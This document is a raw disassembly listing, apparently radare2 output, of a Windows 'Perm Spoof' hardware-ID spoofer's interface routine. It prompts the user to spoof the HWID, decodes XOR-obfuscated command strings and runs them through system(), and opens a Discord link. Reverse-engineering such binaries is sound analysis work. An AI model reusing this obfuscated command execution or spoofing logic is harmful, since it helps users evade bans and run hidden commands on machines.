mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x140040d4b
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x2f8], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x2fc], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x300], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x304], xmm1
lea rcx, [rbp + 0x2f8]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x140040e63
mov dword [rbp + 0x258], 0x44456000
mov dword [rbp + 0x25c], 0x439ac000
mov dword [rbp + 0x260], 0x4404a000
mov dword [rbp + 0x264], 0x437a8000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x260]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm13
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x140040e61
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
test r15d, r15d
je 0x1400412b3
mov rcx, qword [0x1400ee0d0]
mov rax, qword [rcx + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [rcx + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d9688]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d9694]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
mov dword [rbp + 0x268], 0x43960000
mov dword [rbp + 0x26c], 0x42480000
lea rdx, [rbp + 0x268]
lea rcx, str.PERM_SPOOF
call fcn.14000b930
test al, al
je 0x14004116e
mov r9d, 0x44
lea r8, str.Perm_Spoof
lea rdx, str.Are_you_sure_you_want_to_spoof_your_HWID_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14004116e
call fcn.140026500
mov eax, dword [str.Q_G5BRAFS7]
mov dword [rbp - 0x78], eax
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1400d8817], 0
je 0x140041033
cmp r14d, 2
jl 0x140040ff3
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x78], xmm2
jmp 0x140041033
lea r9, [rbp - 0x78]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140041000
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.Perm_Spoof
lea rdx, str.Your_HWID_was_spoofed_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov r9d, 0x40
lea r8, str.Perm_Spoof
lea rdx, str.Restart_your_pc__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [str.Q_G5BRAFS7]
mov dword [rsp + 0x78], eax
cmp byte [0x1400d8817], 0
je 0x140041163
cmp r14d, 2
jl 0x140041122
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140041163
lea r9, [rsp + 0x78]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140041130
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x14004119b
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
cvttss2si eax, dword [0x14013e108]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x308], xmm0
cvttss2si eax, dword [0x14013e140]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x30c], xmm1
cvttss2si eax, dword [0x14014c270]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x310], xmm0
cvttss2si eax, dword [0x140157d18]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x314], xmm1
lea rcx, [rbp + 0x308]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x1400412b3
mov dword [rbp + 0x270], 0x4429e000
mov dword [rbp + 0x274], 0x43ed4000
mov dword [rbp + 0x278], 0x43b94000
mov dword [rbp + 0x27c], 0x43cfc000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x278]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm13
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x1400412b1
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
mov r8, qword [0x1400ee0d0]
movsxd rax, dword [r8 + 0x1858]
lea rdx, [rax + rax*4]
mov rcx, qword [r8 + 0x1860]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, 0x148
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [r8 + rax*8], xmm0
dec dword [r8 + 0x1858]
mov rax, qword [r8 + 0x17d8]
mov byte [rax + 0x8a], 1
mov rax, qword [r8 + 0x17d8]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x60]
addss xmm0, dword [0x1400d96b4]
movss xmm2, dword [rax + 0x20]
subss xmm2, dword [rax + 0x64]
addss xmm2, dword [0x1400d969c]
movss dword [rax + 0xc0], xmm0
movss dword [rax + 0xc4], xmm2
movss xmm1, dword [rax + 0xd8]
maxss xmm1, dword [rax + 0xc0]
movss xmm0, dword [rax + 0xdc]
maxss xmm0, xmm2
movss dword [rax + 0xd8], xmm1
movss dword [rax + 0xdc], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa30], xmm0
movaps xmm1, xmmword [0x1400d9c70]
movups xmmword [rbp + 0xa40], xmm1
mov dword [rbp + 0x280], 0x3f800000
mov dword [rbp + 0x284], 0x3f800000
mov qword [rbp + 0x288], 0
lea rax, [rbp + 0xa30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa40]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x280]
lea r8, [rbp + 0x288]
lea rdx, [rsp + 0x70]
mov rcx, qword [0x14016e2f8]
call fcn.14000c0b0
movss xmm6, dword [0x14013e108]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x318], xmm0
movss xmm7, dword [0x14013e140]
cvttss2si eax, xmm7
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x31c], xmm0
movss xmm8, dword [0x14014c270]
cvttss2si eax, xmm8
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x320], xmm0
movss xmm11, dword [0x140157d18]
cvttss2si eax, xmm11
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x324], xmm0
lea rcx, [rbp + 0x318]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14004151c
mov dword [rbp + 0x290], 0x44492000
mov dword [rbp + 0x294], 0x4423a000
mov dword [rbp + 0x298], 0x442de000
mov dword [rbp + 0x29c], 0x43fcc000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x298]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm13
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x1400414f8
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
movss xmm6, dword [0x14013e108]
movss xmm7, dword [0x14013e140]
movss xmm8, dword [0x14014c270]
movss xmm11, dword [0x140157d18]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x328], xmm0
cvttss2si eax, xmm7
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x32c], xmm1
cvttss2si eax, xmm8
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x330], xmm0
cvttss2si eax, xmm11
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x334], xmm1
lea rcx, [rbp + 0x328]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x14004163f
mov dword [rbp + 0x2a0], 0x44492000
mov dword [rbp + 0x2a4], 0x441d6000
mov dword [rbp], 0x442ca000
mov dword [rbp + 4], 0x43fa4000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 0x2a0]
lea rdx, [rbp]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm10
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x14004161b
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
movss xmm6, dword [0x14013e108]
movss xmm7, dword [0x14013e140]
movss xmm8, dword [0x14014c270]
movss xmm11, dword [0x140157d18]
cvttss2si eax, xmm6
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x338], xmm0
cvttss2si eax, xmm7
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x33c], xmm1
cvttss2si eax, xmm8
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm9
movss dword [rbp + 0x340], xmm0
cvttss2si eax, xmm11
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm9
movss dword [rbp + 0x344], xmm1
lea rcx, [rbp + 0x338]
call fcn.140002c10
mov r14d, eax
test eax, 0xff000000
je 0x140041733
mov dword [rbp + 8], 0x44492000
mov dword [rbp + 0xc], 0x441d6000
mov dword [rbp + 0x10], 0x442f2000
mov dword [rbp + 0x14], 0x43ff4000
mov dword [rsp + 0x20], reloc.WS2_32.dll_ntohs
movaps xmm3, xmm12
lea r8, [rbp + 8]
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.140016e60
mov byte [rsp + 0x30], 1
movss dword [rsp + 0x28], xmm10
mov byte [rsp + 0x20], 1
mov r9d, r14d
mov r8d, dword [rsi]
mov rdx, qword [rbx + 0x78]
mov rcx, rbx
call fcn.1400153d0
mov ecx, dword [rsi + 4]
test ecx, ecx
jns 0x140041731
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, edi
test eax, eax
cmovg edx, eax
mov rcx, rsi
call fcn.14000d280
mov dword [rsi], edi
mov rax, qword [0x1400ee0d0]
mov rcx, qword [rax + 0x17d8]
cmp byte [rcx + 0x10c], 0
je 0x140041760
mov edx, 0x7f89
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
call fcn.140006ae0
test al, al
je 0x140041776
lea rcx, str.start_https:__discord.gg_saytus
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140009dd0
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
xor r8d, r8d
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, 0xae
call qword [rax + 0x1c8]
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x1400417ea
call fcn.140005820
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140171df8]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
xorps xmm7, xmm7
mov ebx, 1
lea rsi, str.Welcome_to_the_best_HWID_SPOOFER
cmp dword [rbp + 0xde0], 0x12
jne 0x14003d210
mov rsi, qword [rbp + 0x4e8]
mov r14, qword [rbp + 0x4f0]
call fcn.14001c0d0
call fcn.140004780
mov qword [0x140171dd0], rdi
mov qword [0x140171de0], rdi
mov rcx, qword [0x140171df8]
test rcx, rcx
je 0x14004185b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
mov rdx, r14
lea rcx, str.Bastard_Woofer
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14003c67a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [rbp + 0x4a8]
call fcn.14003bc70
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14004198f
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14004195d
movdqa xmm3, xmmword [0x1400d9790]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400d9d10]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400d9d10]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
mov r12d, 5
movd xmm0, r12d
psrad xmm2, xmm0
mov r13d, Ordinal_33
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400d97e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400d9860]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222zy_yyddb6ced1:]
movd xmm0, dword [rax]
pxor xmm2, xmm0
movd dword [rax], xmm2
jmp 0x14004198f
mov r8, rcx
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, dil
sub al, dl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 4
jl 0x140041960
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x140021a60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rax
lea rdx, str._n_n_No_internet_connection.
lea rcx, [rbp + 0xac0]
call fcn.14001d1a0
mov dword [rbp + 0xae0], reloc.WS2_32.dll_sendto
lea rdx, [rbp + 0xac0]
mov rcx, rbx
call fcn.140021f90
nop
lea rcx, [rbp + 0xac0]
call fcn.14001d140
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3